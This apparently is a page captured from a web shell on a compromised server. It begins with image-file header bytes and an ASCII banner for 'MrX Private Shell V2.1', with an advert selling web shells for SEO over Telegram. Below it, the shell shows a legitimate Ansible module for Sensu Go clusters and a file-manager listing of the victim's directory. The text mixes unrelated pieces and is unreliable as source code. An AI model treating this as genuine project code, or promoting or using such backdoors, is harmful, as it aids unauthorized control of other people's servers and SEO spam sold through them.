����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- coding: utf-8 -*-
# Copyright: (c) 2021, XLAB Steampunk <steampunk@xlab.si>
#
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
ANSIBLE_METADATA = {
"metadata_version": "1.1",
"status": ["stableinterface"],
"supported_by": "certified",
}
DOCUMENTATION = """
module: cluster
author:
- Tadej Borovsak (@tadeboro)
short_description: Manage Sensu Go clusters
description:
- Create, update or delete Sensu cluster.
- For more information, refer to the Sensu documentation at
U(https://docs.sensu.io/sensu-go/latest/operations/deploy-sensu/cluster-sensu/).
version_added: 1.9.0
extends_documentation_fragment:
- sensu.sensu_go.requirements
- sensu.sensu_go.auth
- sensu.sensu_go.name
- sensu.sensu_go.state
seealso:
- module: sensu.sensu_go.cluster_info
options:
api_urls:
description:
- List of API urls that compose a single cluster.
- Required if I(state) is C(present).
type: list
elements: str
"""
EXAMPLES = """
- name: Create a small cluster
sensu.sensu_go.cluster:
name: small-cluster
api_urls: https://sensu.alpha.example.com:8080
- name: Create a larger cluster
sensu.sensu_go.cluster:
name: large-cluster
api_urls:
- https://sensu.alpha.example.com:8080
- https://sensu.beta.example.com:8080
- https://sensu.gamma.example.com:8080
- name: Delete a cluster
sensu.sensu_go.cluster:
name: small-cluster
state: absent
"""
RETURN = """
object:
description: Object representing Sensu cluster.
returned: success
type: dict
sample:
metadata:
name: alpha-cluster
api_urls:
- "http://10.10.0.1:8080"
"""
from ansible.module_utils.basic import AnsibleModule
from ..module_utils import arguments, errors, utils
API_GROUP = "enterprise"
API_VERSION = "federation/v1"
def main():
required_if = [
("state", "present", ["api_urls"]),
]
module = AnsibleModule(
required_if=required_if,
supports_check_mode=True,
argument_spec=dict(
arguments.get_spec("auth", "name", "state"),
api_urls=dict(type="list", elements="str"),
),
)
client = arguments.get_sensu_client(module.params["auth"])
path = utils.build_url_path(
API_GROUP, API_VERSION, None, "clusters", module.params["name"],
)
payload = dict(
type="Cluster",
api_version=API_VERSION,
metadata=dict(name=module.params["name"]),
spec=arguments.get_spec_payload(module.params, "api_urls"),
)
try:
changed, cluster = utils.sync_v1(
module.params["state"], client, path, payload, module.check_mode,
)
module.exit_json(changed=changed, object=cluster)
except errors.Error as e:
module.fail_json(msg=str(e))
if __name__ == "__main__":
main()
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| ad_auth_provider.py | File | 11.83 KB | 0644 |
|
| asset.py | File | 6.08 KB | 0644 |
|
| asset_info.py | File | 2.43 KB | 0644 |
|
| auth_provider_info.py | File | 3.51 KB | 0644 |
|
| bonsai_asset.py | File | 3.48 KB | 0644 |
|
| check.py | File | 12.24 KB | 0644 |
|
| check_info.py | File | 2.29 KB | 0644 |
|
| cluster.py | File | 2.89 KB | 0644 |
|
| cluster_info.py | File | 2.49 KB | 0644 |
|
| cluster_role.py | File | 4.31 KB | 0644 |
|
| cluster_role_binding.py | File | 3.95 KB | 0644 |
|
| cluster_role_binding_info.py | File | 2.4 KB | 0644 |
|
| cluster_role_info.py | File | 2.31 KB | 0644 |
|
| datastore.py | File | 4.87 KB | 0644 |
|
| datastore_info.py | File | 2.59 KB | 0644 |
|
| entity.py | File | 7.29 KB | 0644 |
|
| entity_info.py | File | 3.04 KB | 0644 |
|
| etcd_replicator.py | File | 6.51 KB | 0644 |
|
| etcd_replicator_info.py | File | 2.71 KB | 0644 |
|
| event.py | File | 9.54 KB | 0644 |
|
| event_info.py | File | 3.44 KB | 0644 |
|
| filter.py | File | 4.17 KB | 0644 |
|
| filter_info.py | File | 2.26 KB | 0644 |
|
| handler_info.py | File | 2.27 KB | 0644 |
|
| handler_set.py | File | 2.95 KB | 0644 |
|
| hook.py | File | 3.69 KB | 0644 |
|
| hook_info.py | File | 2.27 KB | 0644 |
|
| ldap_auth_provider.py | File | 11.07 KB | 0644 |
|
| mutator.py | File | 3.98 KB | 0644 |
|
| mutator_info.py | File | 2.33 KB | 0644 |
|
| namespace.py | File | 2.17 KB | 0644 |
|
| namespace_info.py | File | 1.92 KB | 0644 |
|
| oidc_auth_provider.py | File | 6.28 KB | 0644 |
|
| pipe_handler.py | File | 4.43 KB | 0644 |
|
| role.py | File | 4.27 KB | 0644 |
|
| role_binding.py | File | 4.73 KB | 0644 |
|
| role_binding_info.py | File | 2.37 KB | 0644 |
|
| role_info.py | File | 2.33 KB | 0644 |
|
| secret.py | File | 3.34 KB | 0644 |
|
| secret_info.py | File | 2.77 KB | 0644 |
|
| secrets_provider_env.py | File | 2.49 KB | 0644 |
|
| secrets_provider_info.py | File | 2.85 KB | 0644 |
|
| secrets_provider_vault.py | File | 7.06 KB | 0644 |
|
| silence.py | File | 4.98 KB | 0644 |
|
| silence_info.py | File | 2.93 KB | 0644 |
|
| socket_handler.py | File | 3.97 KB | 0644 |
|
| tessen.py | File | 2.66 KB | 0644 |
|
| user.py | File | 10.21 KB | 0644 |
|
| user_info.py | File | 2.19 KB | 0644 |
|